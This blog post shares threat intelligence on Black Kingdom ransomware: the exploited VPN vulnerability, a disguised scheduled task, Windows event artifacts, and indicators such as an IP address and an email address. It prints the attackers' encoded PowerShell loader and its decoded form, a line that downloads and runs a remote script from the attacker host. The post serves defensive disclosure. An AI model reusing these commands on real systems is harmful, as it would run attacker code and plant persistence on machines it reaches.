































Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS

OK !

	Stealing local file...	8
	Rocket.Chat Cro...	2
	BadWPAD and s...	1
	Google Chrome fuzzing ...	
	Spear-phishing campai...	
	Black Kingdom ransom...	
	Kinsing cryptocur...	3
	Sodinokibi / REvil...	2
	Google Chrome display...	
	DNS for red team...	1
	Deceiving blue teams u...	
	Google Chrome ...	5
	Bypassing LLMN...	1
	Internal domain ...	1
	CVE-2019-10677 Multip...	
	Threat hunting u...	1
	BadWPAD wpad.softwa...	
	Sinkholing BadW...	1
	Typosquatting in wpadb...	
	BadWPAD and w...	1
	BadWPAD, DNS suffix a...	
	DNS based threat hunti...	
	Czytanie karty płatniczej ...	
	Praktyczna analiza powł...	
	Zatruwanie odpowiedzi ...	
	Aktywne wyszukiwanie z...	
	Brak tagu rel=noreferrer...	
	Eskalacja uprawnień z ...	
	Bezprzewodowy biały w...	
	AXFR eksport strefy DNS	8

Black Kingdom ransomware (TTPs & IOC)

We would like to share with the community the following TTPs and IOC related to *Black Kingdom* ransomware and threat actors using it.

Attackers gained initial access to the infrastructure via Pulse Secure VPN vulnerability [<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>].

For persistence they use a scheduled task [<https://attack.mitre.org/techniques/T1053/>]. Task name is GoogleUpdateTaskMachineU\$A, which resembles a legitimate task of *Google Chrome* that ends with UA, not U\$A. The malicious task executes the following code:

```
<Exec>
<Command>powershell.exe</Command>
<Arguments>-windowstyle hidden -
file'C:\ProgramData\Microsoft\Windows\Caches\cversions_cache.ps1'</Arguments>
</Exec>
```

Content of the cversions_cache.ps1 powershell script:

```
$update =
"SQBFaFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARA
BvAHcAbgBsAG8AYQBkAFMAdABYAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQA4AC4AMQAzAC4ANAA5A
C4AMQA3ADkALwByAGUAdgBlAHIAcwBlAC4AcABzADEAJwApAA=="
powershell.exe -exec bypass -nologo -Enc $update
```

After decoding the base64 payload we can see the following powershell code:

```
IEX(New-Object Net.WebClient).DownloadString('http://198.13.49.179/reverse.ps1')
```

Observed network attacks also originated from this IP address:

```
198.13.49.179
```

The following artifacts can be found in Windows Events:

```
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4100
EventType=3
Message=Error Message = File
C:\ProgramData\Microsoft\Windows\Caches\cversions_cache.ps1 cannot be loaded
because running scripts is disabled on this system. For more information, see
about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
```

~

```
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Message=Creating Scriptblock text (1 of 1):
Set-ExecutionPolicy bypass
'C:\ProgramData\Microsoft\Windows\Caches\cversions_cache.ps1'
```































~

```
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Message=Creating Scriptblock text (1 of 1):
$update =
"SQBFaFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARA
BvAHcAbgBsAG8AYQBkAFMAdABYAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQA4AC4AMQAzAC4ANAA5A
C4AMQA3ADkALwByAGUAdgBlAHIAcwBlAC4AcABzADEAJwApAA=="
```

```
powershell.exe -exec bypass -nologo -Enc $update
```

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !

- Stealing local file... 8
- Rocket.Chat Cro... 2
- BadWPAD and s... 1
- Google Chrome fuzzing ...
- Spear-phishing campai...
- Black Kingdom ransom...
- Kinsing cryptocur... 3
- Sodinokibi / REvil... 2
- Google Chrome display...
- DNS for red team... 1
- Deceiving blue teams u...
- Google Chrome ... 5
- Bypassing LLMN... 1
- Internal domain ... 1
- CVE-2019-10677 Multip...
- Threat hunting u... 1
- BadWPAD wpad.softwa...
- Sinkholing BadW... 1
- Typosquatting in wpadb...
- BadWPAD and w... 1
- BadWPAD, DNS suffix a...
- DNS based threat hunti...
- Czytanie karty płatniczej ...
- Praktyczna analiza powł...
- Zatrwanie odpowiedzi ...
- Aktywne wyszukiwanie z...
- Brak tagu rel=noreferrer...
- Eskalacja uprawnień z ...
- Bezprzewodowy biały w...
- AXFR eksport strefy DNS



Screenshot of ANY.RUN analysis
[<https://any.run/report/63d6c419a8229bc7fc2089a2899d27bac746de0e96368e2a49d7c7754abd29f4/649fff18-14f5-4544-8d04-0a981d2e0c79>].

E-mail address used by attackers: `blackkingdom@gszmail.com`

Files encrypted using this ransomware end with: `.black_kingdom`

Posted 12th June 2020 by [Adam Ziaja](#)

✕ Post

0 Add a comment



Enter Comment







